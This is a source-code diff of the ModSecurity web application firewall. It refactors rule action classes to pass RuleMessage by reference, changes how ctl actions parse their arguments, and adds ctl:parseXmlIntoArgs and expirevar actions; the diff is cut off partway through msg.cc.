+++ b/src/actions/block.h @@ -35,8 +35,7 @@ class Block : public Action { public: explicit Block(const std::string &action) : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; }; diff --git a/src/actions/capture.h b/src/actions/capture.h index 33207439c9..0b072ece0b 100644 --- a/src/actions/capture.h +++ b/src/actions/capture.h @@ -29,7 +29,7 @@ namespace actions { class Capture : public Action { public: explicit Capture(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/chain.cc b/src/actions/chain.cc index 197f861ff2..62f0409c74 100644 --- a/src/actions/chain.cc +++ b/src/actions/chain.cc @@ -15,14 +15,9 @@ #include "src/actions/chain.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" - -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool Chain::evaluate(RuleWithActions *rule, Transaction *transaction) { @@ -31,5 +26,4 @@ bool Chain::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/chain.h b/src/actions/chain.h index c5642baa6e..3b04f17e9b 100644 --- a/src/actions/chain.h +++ b/src/actions/chain.h @@ -33,7 +33,7 @@ namespace actions { class Chain : public Action { public: explicit Chain(const std::string &action) - : Action(action, ConfigurationKind) { } + : Action(action, Kind::ConfigurationKind) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/ctl/audit_engine.h b/src/actions/ctl/audit_engine.h index 03e0cb4cc6..b822a6675e 100644 --- a/src/actions/ctl/audit_engine.h +++ b/src/actions/ctl/audit_engine.h @@ -34,7 +34,7 @@ namespace ctl { class AuditEngine : public Action { public: explicit AuditEngine(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_auditEngine(audit_log::AuditLog::AuditLogStatus::NotSetLogStatus) { } bool init(std::string *error) override; diff --git a/src/actions/ctl/audit_log_parts.h b/src/actions/ctl/audit_log_parts.h index f4980780ef..0eb7c6b2fd 100644 --- a/src/actions/ctl/audit_log_parts.h +++ b/src/actions/ctl/audit_log_parts.h @@ -29,7 +29,7 @@ namespace ctl { class AuditLogParts : public Action { public: explicit AuditLogParts(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), mPartsAction(0), mParts("") { } diff --git a/src/actions/ctl/parse_xml_into_args.cc b/src/actions/ctl/parse_xml_into_args.cc new file mode 100644 index 0000000000..55f8d5fbcb --- /dev/null +++ b/src/actions/ctl/parse_xml_into_args.cc @@ -0,0 +1,63 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2025 OWASP ModSecurity project + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact OWASP. + * directly using the email address modsecurity@owasp.org. + * + */ + +#include "src/actions/ctl/parse_xml_into_args.h" + +#include +#include + +#include "modsecurity/rules_set_properties.h" +#include "modsecurity/rules_set.h" +#include "modsecurity/transaction.h" + +namespace modsecurity { +namespace actions { +namespace ctl { + + +bool ParseXmlIntoArgs::init(std::string *error) { + std::string what(m_parser_payload, 17, m_parser_payload.size() - 17); + + if (what == "on") { + m_secXMLParseXmlIntoArgs = RulesSetProperties::TrueConfigXMLParseXmlIntoArgs; + } else if (what == "off") { + m_secXMLParseXmlIntoArgs = RulesSetProperties::FalseConfigXMLParseXmlIntoArgs; + } else if (what == "onlyargs") { + m_secXMLParseXmlIntoArgs = RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs; + } else { + error->assign("Internal error. Expected: On, Off or OnlyArgs; " \ + "got: " + m_parser_payload); + return false; + } + + return true; +} + +bool ParseXmlIntoArgs::evaluate(RuleWithActions *rule, Transaction *transaction) { + std::stringstream a; + a << "Setting SecParseXmlIntoArgs to "; + a << modsecurity::RulesSetProperties::configXMLParseXmlIntoArgsString(m_secXMLParseXmlIntoArgs); + a << " as requested by a ctl:parseXmlIntoArgs action"; + + ms_dbg_a(transaction, 8, a.str()); + + transaction->m_secXMLParseXmlIntoArgs = m_secXMLParseXmlIntoArgs; + return true; +} + + +} // namespace ctl +} // namespace actions +} // namespace modsecurity diff --git a/src/actions/ctl/parse_xml_into_args.h b/src/actions/ctl/parse_xml_into_args.h new file mode 100644 index 0000000000..ea723b6603 --- /dev/null +++ b/src/actions/ctl/parse_xml_into_args.h @@ -0,0 +1,48 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2025 OWASP ModSecurity Project + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact OWASP. + * directly using the email address modsecurity@owasp.org + * + */ + +#include + +#include "modsecurity/rules_set_properties.h" +#include "modsecurity/actions/action.h" +#include "modsecurity/transaction.h" + + +#ifndef SRC_ACTIONS_CTL_PARSE_XML_INTO_ARGS_H_ +#define SRC_ACTIONS_CTL_PARSE_XML_INTO_ARGS_H_ + +namespace modsecurity { +namespace actions { +namespace ctl { + + +class ParseXmlIntoArgs : public Action { + public: + explicit ParseXmlIntoArgs(const std::string &action) + : Action(action), + m_secXMLParseXmlIntoArgs(RulesSetProperties::PropertyNotSetConfigXMLParseXmlIntoArgs) { } + + bool init(std::string *error) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction) override; + + RulesSetProperties::ConfigXMLParseXmlIntoArgs m_secXMLParseXmlIntoArgs; +}; + + +} // namespace ctl +} // namespace actions +} // namespace modsecurity + +#endif // SRC_ACTIONS_CTL_PARSE_XML_INTO_ARGS_H_ diff --git a/src/actions/ctl/request_body_access.h b/src/actions/ctl/request_body_access.h index afe3b3d489..1dcc88c587 100644 --- a/src/actions/ctl/request_body_access.h +++ b/src/actions/ctl/request_body_access.h @@ -30,7 +30,7 @@ namespace ctl { class RequestBodyAccess : public Action { public: explicit RequestBodyAccess(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_request_body_access(false) { } bool init(std::string *error) override; diff --git a/src/actions/ctl/request_body_processor_json.h b/src/actions/ctl/request_body_processor_json.h index 48125597e0..9d726b1722 100644 --- a/src/actions/ctl/request_body_processor_json.h +++ b/src/actions/ctl/request_body_processor_json.h @@ -29,7 +29,7 @@ namespace ctl { class RequestBodyProcessorJSON : public Action { public: explicit RequestBodyProcessorJSON(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/ctl/request_body_processor_urlencoded.h b/src/actions/ctl/request_body_processor_urlencoded.h index 5b5557d431..0277664aff 100644 --- a/src/actions/ctl/request_body_processor_urlencoded.h +++ b/src/actions/ctl/request_body_processor_urlencoded.h @@ -29,7 +29,7 @@ namespace ctl { class RequestBodyProcessorURLENCODED : public Action { public: explicit RequestBodyProcessorURLENCODED(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/ctl/request_body_processor_xml.h b/src/actions/ctl/request_body_processor_xml.h index 9084d1d98a..5bd15edd8e 100644 --- a/src/actions/ctl/request_body_processor_xml.h +++ b/src/actions/ctl/request_body_processor_xml.h @@ -29,7 +29,7 @@ namespace ctl { class RequestBodyProcessorXML : public Action { public: explicit RequestBodyProcessorXML(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/ctl/rule_engine.h b/src/actions/ctl/rule_engine.h index fca5d39b16..7aef4232dc 100644 --- a/src/actions/ctl/rule_engine.h +++ b/src/actions/ctl/rule_engine.h @@ -31,7 +31,7 @@ namespace ctl { class RuleEngine : public Action { public: explicit RuleEngine(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_ruleEngine(RulesSetProperties::PropertyNotSetRuleEngine) { } bool init(std::string *error) override; diff --git a/src/actions/ctl/rule_remove_by_id.cc b/src/actions/ctl/rule_remove_by_id.cc index e76a3119d2..8ab3d4dbd8 100644 --- a/src/actions/ctl/rule_remove_by_id.cc +++ b/src/actions/ctl/rule_remove_by_id.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -27,10 +27,15 @@ namespace ctl { bool RuleRemoveById::init(std::string *error) { - std::string what(m_parser_payload, 15, m_parser_payload.size() - 15); + size_t pos = m_parser_payload.find("="); + if (pos == std::string::npos) { + error->assign(m_parser_payload + " is not a valid ID or range"); + return false; + } + std::string what = m_parser_payload.substr(pos + 1); bool added = false; std::vector toRemove = utils::string::ssplit(what, ' '); - for (std::string &a : toRemove) { + for (const std::string &a : toRemove) { std::string b = modsecurity::utils::string::parserSanitizer(a); if (b.size() == 0) { continue; @@ -84,10 +89,10 @@ bool RuleRemoveById::init(std::string *error) { } bool RuleRemoveById::evaluate(RuleWithActions *rule, Transaction *transaction) { - for (auto &i : m_ids) { + for (const auto &i : m_ids) { transaction->m_ruleRemoveById.push_back(i); } - for (auto &i : m_ranges) { + for (const auto &i : m_ranges) { transaction->m_ruleRemoveByIdRange.push_back(i); } diff --git a/src/actions/ctl/rule_remove_by_id.h b/src/actions/ctl/rule_remove_by_id.h index e0f0902b8a..f731db31cc 100644 --- a/src/actions/ctl/rule_remove_by_id.h +++ b/src/actions/ctl/rule_remove_by_id.h @@ -30,7 +30,7 @@ namespace ctl { class RuleRemoveById : public Action { public: explicit RuleRemoveById(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool init(std::string *error) override; bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/ctl/rule_remove_by_tag.cc b/src/actions/ctl/rule_remove_by_tag.cc index 76e7406fc2..dc49a8392a 100644 --- a/src/actions/ctl/rule_remove_by_tag.cc +++ b/src/actions/ctl/rule_remove_by_tag.cc @@ -26,7 +26,12 @@ namespace ctl { bool RuleRemoveByTag::init(std::string *error) { - std::string what(m_parser_payload, 16, m_parser_payload.size() - 16); + size_t pos = m_parser_payload.find("="); + if (pos == std::string::npos) { + error->assign(m_parser_payload + " is not a valid tag"); + return false; + } + std::string what = m_parser_payload.substr(pos + 1); m_tag = what; return true; diff --git a/src/actions/ctl/rule_remove_by_tag.h b/src/actions/ctl/rule_remove_by_tag.h index 5689b7b166..e85cdbfa78 100644 --- a/src/actions/ctl/rule_remove_by_tag.h +++ b/src/actions/ctl/rule_remove_by_tag.h @@ -30,7 +30,7 @@ namespace ctl { class RuleRemoveByTag : public Action { public: explicit RuleRemoveByTag(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_tag("") { } bool init(std::string *error) override; diff --git a/src/actions/ctl/rule_remove_target_by_id.cc b/src/actions/ctl/rule_remove_target_by_id.cc index 0776e34486..e020bd03e4 100644 --- a/src/actions/ctl/rule_remove_target_by_id.cc +++ b/src/actions/ctl/rule_remove_target_by_id.cc @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * 2024 - 2026 OWASP (https://owasp.org) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -30,11 +31,16 @@ namespace ctl { bool RuleRemoveTargetById::init(std::string *error) { - std::string what(m_parser_payload, 21, m_parser_payload.size() - 21); + size_t pos = m_parser_payload.find("="); + if (pos == std::string::npos) { + error->assign(m_parser_payload + " is not a valid 'ID;VARIABLE'"); + return false; + } + std::string what = m_parser_payload.substr(pos + 1); std::vector param = utils::string::split(what, ';'); if (param.size() < 2) { - error->assign(what + " is not a valid `ID;VARIABLE'"); + error->assign(what + " is not a valid 'ID;VARIABLE'"); return false; } diff --git a/src/actions/ctl/rule_remove_target_by_id.h b/src/actions/ctl/rule_remove_target_by_id.h index d71e4fc215..92b7286dfb 100644 --- a/src/actions/ctl/rule_remove_target_by_id.h +++ b/src/actions/ctl/rule_remove_target_by_id.h @@ -30,7 +30,7 @@ namespace ctl { class RuleRemoveTargetById : public Action { public: explicit RuleRemoveTargetById(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_id(0), m_target("") { } diff --git a/src/actions/ctl/rule_remove_target_by_tag.cc b/src/actions/ctl/rule_remove_target_by_tag.cc index 1be6603fd8..dab89752e7 100644 --- a/src/actions/ctl/rule_remove_target_by_tag.cc +++ b/src/actions/ctl/rule_remove_target_by_tag.cc @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * 2024 - 2026 OWASP (https://owasp.org) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -30,11 +31,16 @@ namespace ctl { bool RuleRemoveTargetByTag::init(std::string *error) { - std::string what(m_parser_payload, 22, m_parser_payload.size() - 22); + size_t pos = m_parser_payload.find("="); + if (pos == std::string::npos) { + error->assign(m_parser_payload + " is not a valid 'TAG;VARIABLE'"); + return false; + } + std::string what = m_parser_payload.substr(pos + 1); std::vector param = utils::string::split(what, ';'); if (param.size() < 2) { - error->assign(what + " is not a valid `TAG;VARIABLE'"); + error->assign(what + " is not a valid 'TAG;VARIABLE'"); return false; } diff --git a/src/actions/ctl/rule_remove_target_by_tag.h b/src/actions/ctl/rule_remove_target_by_tag.h index 7863e5a521..b4e212395c 100644 --- a/src/actions/ctl/rule_remove_target_by_tag.h +++ b/src/actions/ctl/rule_remove_target_by_tag.h @@ -30,7 +30,7 @@ namespace ctl { class RuleRemoveTargetByTag : public Action { public: explicit RuleRemoveTargetByTag(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool init(std::string *error) override; bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/data/status.cc b/src/actions/data/status.cc index 9429973859..ed9cd0ed6e 100644 --- a/src/actions/data/status.cc +++ b/src/actions/data/status.cc @@ -39,7 +39,7 @@ bool Status::init(std::string *error) { bool Status::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { + RuleMessage &ruleMessage) { transaction->m_it.status = m_status; return true; } diff --git a/src/actions/data/status.h b/src/actions/data/status.h index d792247d68..3a3ec5dc4a 100644 --- a/src/actions/data/status.h +++ b/src/actions/data/status.h @@ -33,12 +33,11 @@ namespace data { class Status : public Action { public: - explicit Status(const std::string &action) : Action(action, 2), - m_status(0) { } + explicit Status(const std::string &action) + : Action(action), m_status(0) { } bool init(std::string *error) override; - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; int m_status; }; diff --git a/src/actions/disruptive/allow.h b/src/actions/disruptive/allow.h index d9a716cec7..a6d538a476 100644 --- a/src/actions/disruptive/allow.h +++ b/src/actions/disruptive/allow.h @@ -54,7 +54,7 @@ enum AllowType : int { class Allow : public Action { public: explicit Allow(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_allowType(NoneAllowType) { } diff --git a/src/actions/disruptive/deny.cc b/src/actions/disruptive/deny.cc index e105d65127..038c8e3d8d 100644 --- a/src/actions/disruptive/deny.cc +++ b/src/actions/disruptive/deny.cc @@ -29,7 +29,7 @@ namespace disruptive { bool Deny::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { + RuleMessage &ruleMessage) { ms_dbg_a(transaction, 8, "Running action deny"); if (transaction->m_it.status == 200) { @@ -38,9 +38,9 @@ bool Deny::evaluate(RuleWithActions *rule, Transaction *transaction, transaction->m_it.disruptive = true; intervention::freeLog(&transaction->m_it); - rm->m_isDisruptive = true; + ruleMessage.m_isDisruptive = true; transaction->m_it.log = strdup( - rm->log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); + ruleMessage.log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); return true; } diff --git a/src/actions/disruptive/deny.h b/src/actions/disruptive/deny.h index fb841a49a7..3183f531d2 100644 --- a/src/actions/disruptive/deny.h +++ b/src/actions/disruptive/deny.h @@ -33,8 +33,7 @@ class Deny : public Action { public: explicit Deny(const std::string &action) : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; bool isDisruptive() override { return true; } }; diff --git a/src/actions/disruptive/drop.cc b/src/actions/disruptive/drop.cc index 18a3b55280..3dc44b199f 100644 --- a/src/actions/disruptive/drop.cc +++ b/src/actions/disruptive/drop.cc @@ -33,7 +33,7 @@ namespace disruptive { bool Drop::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { + RuleMessage &ruleMessage) { ms_dbg_a(transaction, 8, "Running action drop " \ "[executing deny instead of drop.]"); @@ -43,9 +43,9 @@ bool Drop::evaluate(RuleWithActions *rule, Transaction *transaction, transaction->m_it.disruptive = true; intervention::freeLog(&transaction->m_it); - rm->m_isDisruptive = true; + ruleMessage.m_isDisruptive = true; transaction->m_it.log = strdup( - rm->log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); + ruleMessage.log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); return true; } diff --git a/src/actions/disruptive/drop.h b/src/actions/disruptive/drop.h index f60eddfa6d..aa66b0d802 100644 --- a/src/actions/disruptive/drop.h +++ b/src/actions/disruptive/drop.h @@ -32,8 +32,7 @@ class Drop : public Action { public: explicit Drop(const std::string &action) : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; bool isDisruptive() override { return true; } }; diff --git a/src/actions/disruptive/pass.cc b/src/actions/disruptive/pass.cc index e0f038c4cb..9afaeecc4f 100644 --- a/src/actions/disruptive/pass.cc +++ b/src/actions/disruptive/pass.cc @@ -30,7 +30,7 @@ namespace disruptive { bool Pass::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { + RuleMessage &ruleMessage) { intervention::free(&transaction->m_it); intervention::reset(&transaction->m_it); diff --git a/src/actions/disruptive/pass.h b/src/actions/disruptive/pass.h index 0c09d2874f..65127e9902 100644 --- a/src/actions/disruptive/pass.h +++ b/src/actions/disruptive/pass.h @@ -31,8 +31,7 @@ class Pass : public Action { public: explicit Pass(const std::string &action) : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; bool isDisruptive() override { return true; } }; diff --git a/src/actions/disruptive/redirect.cc b/src/actions/disruptive/redirect.cc index ac2993b4c0..ee4f2de886 100644 --- a/src/actions/disruptive/redirect.cc +++ b/src/actions/disruptive/redirect.cc @@ -35,7 +35,7 @@ bool Redirect::init(std::string *error) { bool Redirect::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { + RuleMessage &ruleMessage) { std::string m_urlExpanded(m_string->evaluate(transaction)); /* if it was changed before, lets keep it. */ if (transaction->m_it.status == 200 @@ -47,9 +47,9 @@ bool Redirect::evaluate(RuleWithActions *rule, Transaction *transaction, transaction->m_it.url = strdup(m_urlExpanded.c_str()); transaction->m_it.disruptive = true; intervention::freeLog(&transaction->m_it); - rm->m_isDisruptive = true; + ruleMessage.m_isDisruptive = true; transaction->m_it.log = strdup( - rm->log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); + ruleMessage.log(RuleMessage::LogMessageInfo::ClientLogMessageInfo).c_str()); return true; } diff --git a/src/actions/disruptive/redirect.h b/src/actions/disruptive/redirect.h index 46b5d51a96..ada5144172 100644 --- a/src/actions/disruptive/redirect.h +++ b/src/actions/disruptive/redirect.h @@ -37,17 +37,16 @@ namespace disruptive { class Redirect : public Action { public: explicit Redirect(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_status(0), m_string(nullptr) { } explicit Redirect(std::unique_ptr z) - : Action("redirert", RunTimeOnlyIfMatchKind), + : Action("redirert"), m_status(0), m_string(std::move(z)) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; bool init(std::string *error) override; bool isDisruptive() override { return true; } diff --git a/src/actions/exec.h b/src/actions/exec.h index f899982182..d1f42f8531 100644 --- a/src/actions/exec.h +++ b/src/actions/exec.h @@ -31,10 +31,7 @@ namespace actions { class Exec : public Action { public: explicit Exec(const std::string &action) - : Action(action), - m_script("") { } - - ~Exec() { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; bool init(std::string *error) override; diff --git a/src/actions/expire_var.cc b/src/actions/expire_var.cc new file mode 100644 index 0000000000..ffc89f4779 --- /dev/null +++ b/src/actions/expire_var.cc @@ -0,0 +1,90 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include "src/actions/expire_var.h" + +#include + +#include "modsecurity/rules_set.h" +#include "modsecurity/transaction.h" +#include "modsecurity/rule.h" +#include "src/utils/string.h" +#include "src/variables/global.h" +#include "src/variables/ip.h" +#include "src/variables/resource.h" +#include "src/variables/session.h" +#include "src/variables/user.h" +#include "src/variables/variable.h" + +namespace modsecurity { +namespace actions { + + +bool ExpireVar::evaluate(RuleWithActions *rule, Transaction *t) { + + std::string expireExpressionExpanded(m_string->evaluate(t)); + + std::string fully_qualified_var; + int expirySeconds = 0; + size_t posEquals = expireExpressionExpanded.find("="); + if (posEquals == std::string::npos) { + fully_qualified_var = expireExpressionExpanded; + } else { + fully_qualified_var = expireExpressionExpanded.substr(0, posEquals); + std::string expiry = expireExpressionExpanded.substr(posEquals+1); + if (expiry.find_first_not_of("0123456789") == std::string::npos) { + expirySeconds = atoi(expiry.c_str()); + } else { + ms_dbg_a(t, 5, "Non-numeric expiry seconds found in expirevar expression."); + return true; + } + } + + size_t posDot = fully_qualified_var.find("."); + if (posDot == std::string::npos) { + ms_dbg_a(t, 5, "No collection found in expirevar expression."); + return true; + } + + std::string collection = fully_qualified_var.substr(0, posDot); + std::string variable_name = fully_qualified_var.substr(posDot+1); + auto runTimeString = std::make_unique(); + runTimeString->appendText(fully_qualified_var); + + if (collection == "ip") { + auto ip_dynamicElement = std::make_unique(std::move(runTimeString)); + ip_dynamicElement->setExpiry(t, variable_name, expirySeconds); + } else if (collection == "global") { + auto global_dynamicElement = std::make_unique(std::move(runTimeString)); + global_dynamicElement->setExpiry(t, variable_name, expirySeconds); + } else if (collection == "resource") { + auto resource_dynamicElement = std::make_unique(std::move(runTimeString)); + resource_dynamicElement->setExpiry(t, variable_name, expirySeconds); + } else if (collection == "session") { + auto session_dynamicElement = std::make_unique(std::move(runTimeString)); + session_dynamicElement->setExpiry(t, variable_name, expirySeconds); + } else if (collection == "user") { + auto user_dynamicElement = std::make_unique(std::move(runTimeString)); + user_dynamicElement->setExpiry(t, variable_name, expirySeconds); + } else { + ms_dbg_a(t, 5, "Invalid collection found in expirevar expression: collection must be `ip', `global', `resource', `user' or `session'"); + } + ms_dbg_a(t, 9, "Setting variable `" + variable_name + "' to expire in " + std::to_string(expirySeconds) + " seconds."); + + return true; +} + +} // namespace actions +} // namespace modsecurity diff --git a/src/actions/expire_var.h b/src/actions/expire_var.h new file mode 100644 index 0000000000..3c15e9865e --- /dev/null +++ b/src/actions/expire_var.h @@ -0,0 +1,53 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include +#include +#include + +#include "modsecurity/actions/action.h" +#include "src/run_time_string.h" + +#ifndef SRC_ACTIONS_EXPIRE_VAR_H_ +#define SRC_ACTIONS_EXPIRE_VAR_H_ + +class Transaction; + +namespace modsecurity { +class Transaction; +class RuleWithOperator; + +namespace actions { + +class ExpireVar : public Action { + public: + explicit ExpireVar(const std::string &action) : Action(action) { } + + explicit ExpireVar(std::unique_ptr z) + : Action("expirevar"), + m_string(std::move(z)) { } + + bool evaluate(RuleWithActions *rule, Transaction *transaction) override; + + private: + + std::unique_ptr m_string; +}; + +} // namespace actions +} // namespace modsecurity + + +#endif // SRC_ACTIONS_EXPIRE_VAR_H_ diff --git a/src/actions/init_col.h b/src/actions/init_col.h index 16d7ace921..f5a9263b93 100644 --- a/src/actions/init_col.h +++ b/src/actions/init_col.h @@ -35,7 +35,7 @@ class InitCol : public Action { explicit InitCol(const std::string &action) : Action(action) { } InitCol(const std::string &action, std::unique_ptr z) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_string(std::move(z)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/log.cc b/src/actions/log.cc index 6ca507cdb1..dc335df842 100644 --- a/src/actions/log.cc +++ b/src/actions/log.cc @@ -28,10 +28,9 @@ namespace modsecurity { namespace actions { -bool Log::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { +bool Log::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { ms_dbg_a(transaction, 9, "Saving transaction to logs"); - rm->m_saveMessage = true; + ruleMessage.m_saveMessage = true; return true; } diff --git a/src/actions/log.h b/src/actions/log.h index 736d4a1304..9a8357e938 100644 --- a/src/actions/log.h +++ b/src/actions/log.h @@ -31,10 +31,9 @@ namespace actions { class Log : public Action { public: explicit Log(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; }; } // namespace actions diff --git a/src/actions/log_data.cc b/src/actions/log_data.cc index 49c539cfc4..596505868f 100644 --- a/src/actions/log_data.cc +++ b/src/actions/log_data.cc @@ -29,9 +29,8 @@ namespace modsecurity { namespace actions { -bool LogData::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { - rm->m_data = data(transaction); +bool LogData::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { + ruleMessage.m_data = data(transaction); return true; } diff --git a/src/actions/log_data.h b/src/actions/log_data.h index da2fbf4df0..55a20ee9b1 100644 --- a/src/actions/log_data.h +++ b/src/actions/log_data.h @@ -33,14 +33,13 @@ namespace actions { class LogData : public Action { public: explicit LogData(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } explicit LogData(std::unique_ptr z) - : Action("logdata", RunTimeOnlyIfMatchKind), + : Action("logdata"), m_string(std::move(z)) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; std::string data(Transaction *Transaction); diff --git a/src/actions/maturity.cc b/src/actions/maturity.cc index 131d2148bd..fca6aaa4aa 100644 --- a/src/actions/maturity.cc +++ b/src/actions/maturity.cc @@ -15,16 +15,10 @@ #include "src/actions/maturity.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/actions/action.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" - -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool Maturity::init(std::string *error) { @@ -45,5 +39,4 @@ bool Maturity::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/maturity.h b/src/actions/maturity.h index dd185efaa2..3f873af404 100644 --- a/src/actions/maturity.h +++ b/src/actions/maturity.h @@ -30,7 +30,7 @@ namespace actions { class Maturity : public Action { public: explicit Maturity(const std::string &action) - : Action(action, ConfigurationKind), + : Action(action, Kind::ConfigurationKind), m_maturity(0) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/msg.cc b/src/actions/msg.cc index 1f0b3538d1..fecab53858 100644 --- a/src/actions/msg.cc +++ b/src/actions/msg.cc @@ -46,10 +46,9 @@ namespace modsecurity { namespace actions { -bool Msg::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { - std::string msg = data(transaction); - rm->m_message = msg; +bool Msg::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { + const auto msg = data(transaction); + ruleMessage.m_message = msg; ms_dbg_a(transaction, 9, "Saving msg: " + msg); 